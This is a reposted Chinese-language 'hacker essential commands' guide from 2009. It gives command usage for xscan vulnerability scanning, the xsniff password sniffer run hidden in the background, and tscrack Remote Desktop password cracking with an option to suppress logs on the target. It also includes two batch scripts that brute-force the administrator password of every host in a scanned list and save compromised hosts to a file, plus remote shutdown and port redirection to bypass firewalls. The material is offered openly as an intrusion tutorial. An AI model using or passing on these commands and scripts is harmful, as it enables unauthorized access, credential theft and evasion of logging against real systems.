《网络高手必备初级命令大全》由会员分享，可在线阅读，更多相关《网络高手必备初级命令大全（4页珍藏版）》请在金锄头文库上搜索。
1、网络高手、黑客必备初级命令大全(cmd dos） 入侵命令 （二） 2009 年 12 月 18 日 星期五 09:06 八：2、扫锚工具：xscan.exe 基本格式 xscan -host - 其他选项 扫锚“起始 IP 到终止 IP“段的所有主机信息 xscan -file 其他选项 扫锚“主机 IP 列表文件名“中的所有主机信息 检测项目 -active 检测主机是否存活 -os 检测远程操作系统类型（通过 NETBIOS 和 SNMP 协议） -port 检测常用服务的端口状态 -ftp 检测 FTP 弱口令 -pub 检测 FTP服务匿名用户写权限 -pop3 检测 POP3-Se
2、rver 弱口令 -smtp 检测 SMTP-Server 漏洞 -sql 检测 SQL-Server 弱口令 -smb 检测 NT-Server 弱口令 -iis 检测 IIS 编码/解码漏洞 -cgi 检测 CGI 漏洞 -nasl 加载 Nessus 攻击脚本 -all 检测以上所有项目 其它选项 -i 适配器编号 设置网络适配器, 可通过“-l“参数获取 -l 显示所有网络适配器 -v 显示详细扫描进度 -p 跳过没有响应的主机 -o 跳过没有检测到开放端口的主机 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为 100,10 -log 文件名 指定扫
3、描报告文件名 (后缀为：TXT 或 HTML 格式的文件) 用法示例 xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测 192.168.1.1-192.168.255.255 网段内主机的所有漏洞，跳过无响应的主机 xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测 192.168.1.1-192.168.255.255 网段内主机的标准端口状态，NT 弱口令用户，最大并发线程数量为 150，跳过没有检测到开放端口的主机 xscan -file hos
4、tlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI 漏洞，最大并发线程数量为200，同一时刻最多检测 5 台主机，显示详细检测进度，跳过没有检测到开放端口的主机九：3、命令行方式嗅探器: xsniff.exe 可捕获局域网内FTP/SMTP/POP3/HTTP 协议密码参数说明 -tcp 输出TCP 数据报 -udp 输出 UDP 数据报 -icmp 输出 ICMP数据报 -pass 过滤密码信息 -hide 后台运行 -host 解析主机名 -addr IP 地址 过滤 IP 地址 -port 端
5、口 过滤端口 -log 文件名 将输出保存到文件 -asc 以 ASCII 形式输出 -hex 以 16 进制形式输出 用法示例 xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在 pass.log 文件中 xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探 192.168.1.1 并过滤 tcp 和 udp 信息并以 ASCII 格式输出 4、终端服务密码破解: tscrack.exe 参数说明 -h 显示使用帮助 -v 显示版本信息 -s 在屏幕上打出解密能力 -b 密码错误时发出的声音 -
6、t 同是发出多个连接（多线程） -N Prevent System Log entries on targeted server -U 卸载移除 tscrack组件 -f 使用f 后面的密码 -F 间隔时间（频率） -l 使用l 后面的用户名 -w 使用w 后面的密码字典 -p 使用p 后面的密码 -D 登录主页面 用法示例 tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator 的登陆密码 tscrack 192.168.0.1 -l administrator -p 123456 用密码 12
7、3456 远程登陆 192.168.0.1 的 administrator 用户 if not exist ipcscan.txt goto noscan for /f “tokens=1 delims= “ %i in (3389.txt) do call hack.bat %i nscan echo 3389.txt no find or scan faild (存为 3389.bat) （假设现有用SuperScan 或其它扫锚器扫到一批开有 3389 的主机IP 列表文件 3389.txt) 3389.bat 意思是：从3389.txt 文件中取一个 IP，接着运行 hack.bat
8、if not exist tscrack.exe goto noscan tscrack %1 -l administrator -w pass.dic rouji.txt :noscan echo tscrack.exe no find or scan faild (存为 hack.bat) (运行 3389.bat 就 OK，且3389.bat、hack.bat、3389.txt、pass.dic 与tscrack.exe 在同一个目录下；就可以等待结果了) hack.bat 意思是：运行 tscrack.exe 用字典暴破3389.txt 中所有主机的 administrator 密码，并将破解结果保存在 rouji.txt 文件中。 5、其它：Shutdown.exe Shutdown IP 地址 t:20 20 秒后将对方 NT 自动关闭（Windows 2003 系统自带工具，在Windows2000 下用进就得下载此工具才能用。在前面Windows 2003 DOS 命令中有详细介绍。） fpipe.exe (TCP 端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） fpipe -l 80 -s 1029 -r 80
